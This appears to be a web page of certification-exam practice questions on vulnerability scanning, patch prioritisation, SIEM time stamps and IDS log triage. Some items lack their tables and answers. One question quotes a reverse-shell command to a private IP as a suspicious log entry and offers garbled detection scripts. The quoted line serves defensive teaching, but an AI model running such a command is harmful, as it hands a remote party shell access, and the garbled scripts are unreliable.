A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

• A.Integrate an IT service delivery ticketing system to track remediation and closure.
• B.Create a compensating control item until the system can be fully patched.
• C.Accept the risk and decommission current assets as end of life.
• D.Request an exception and manually patch each system.

Comment: *

Name: *

Email: *

Verification: *

A security analyst needs to prioritize vulnerabilities for patching. Given the following vulnerability and system information:

Which of the following systems should the analyst patch first?

• A.System 1
• B.System 2
• C.System 3
• D.System 4
• E.System 5
• F.System 6

Comment: *

Name: *

Email: *

Verification: *

A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

• A.#!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"
• B.#!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"
• C.#!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
• D.#!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

Comment: *

Name: *

Email: *

Verification: *

A security analyst performs various types of vulnerability scans. Review the vulnerability scan results to determine the type of scan that was executed and if a false positive occurred for each device.
Instructions:
Select the Results Generated drop-down option to determine if the results were generated from a credentialed scan, non-credentialed scan, or a compliance scan.
For ONLY the credentialed and non-credentialed scans, evaluate the results for false positives and check the findings that display false positives. NOTE: If you would like to uncheck an option that is currently selected, click on the option a second time.
Lastly, based on the vulnerability scan results, identify the type of Server by dragging the Server to the results.
The Linux Web Server, File-Print Server and Directory Server are draggable.
If at any time you would like to bring back the initial state of the simulation, please select the Reset All button. When you have completed the simulation, please select the Done button to submit. Once the simulation is submitted, please select the Next button to continue.

Correct Answer:

Comment: *

Name: *

Email: *

Verification: *

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes. Which of the following is the most likely scenario occurring with the time stamps?

• A.The NTP server is not configured on the host.
• B.The cybersecurity analyst is looking at the wrong information.
• C.The firewall is using UTC time.
• D.The host with the logs is offline.

Comment: *

Name: *

Email: *

Verification: *